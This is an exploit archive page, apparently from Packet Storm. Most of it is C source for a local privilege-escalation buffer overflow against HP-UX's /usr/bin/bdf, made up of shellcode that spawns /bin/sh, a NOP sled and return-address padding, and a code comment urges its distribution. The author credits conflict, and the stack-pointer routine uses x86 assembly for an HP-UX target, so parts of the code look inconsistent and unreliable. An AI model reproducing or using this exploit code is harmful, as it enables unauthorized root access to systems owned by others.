what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hp-ux-bdf.c

hp-ux-bdf.c
Posted Nov 14, 2001
Authored by Brainstorm, electronicsouls | Site es.xor.ru

Hp-ux-bdf.c is a local root buffer overflow exploit for HP-UX's /usr/bin/bdf.

tags | exploit, overflow, local, root
systems | hpux
SHA-256 | 0e8e2833f271db51967945879c37ea8b040d8a327992db7a84525fd4e618c1ce

hp-ux-bdf.c

Change Mirror Download
/*

!! DISTRIBUTE !! DISTRIBUTE !!

[ www.interwn.nl ]
author: philer
philer@iraqmail.com

/usr/bin/bdf exploit - IWN-bdfx.c

*/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 2420
#define STACK_OFFSET 0
#define EXTRA 600
#define IWN_NOP 0x3902800b


u_char IWN_shellcode[] =
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff\xff";


u_long get_sp(void)

{
__asm__("movl %esp,%eax \n");
}

int main(int argc, char *argv[])

{

char buf[BUF_LENGTH + 8];
unsigned long targ_addr;
u_long *long_p;
u_char *char_p;

int i, code_length = strlen(IWN_shellcode),dso=STACK_OFFSET,xtra=EXTRA;

if(argc > 1) dso+=atoi(argv[1]);
if(argc > 2) xtra+=atoi(argv[2]);
long_p = (u_long *) buf;

for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)

*long_p++ = IWN_NOP;
char_p = (u_char *) long_p;
char_p--;

for (i = 0; i < code_length; i++)
*char_p++ = IWN_shellcode[i];

targ_addr = get_sp() - dso;
for (i = 0; i < xtra /4; i++)

{
*char_p++ =(targ_addr>>24)&255;
*char_p++ =(targ_addr>>16)&255;
*char_p++ =(targ_addr>>8)&255;
*char_p++ =(targ_addr)&255;
}

printf("\n\n [ www.interwn.nl ]\n");
printf("hp-ux-bdf.c - HP-UX /usr/bin/bdf exploit \n");
printf(" author: philer \n\n\n");

execl("/usr/bin/bdf","-t", buf,(char *) 0);
perror("[x] execl failed..");
return(-1);

}


/* www.interwn.nl */
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close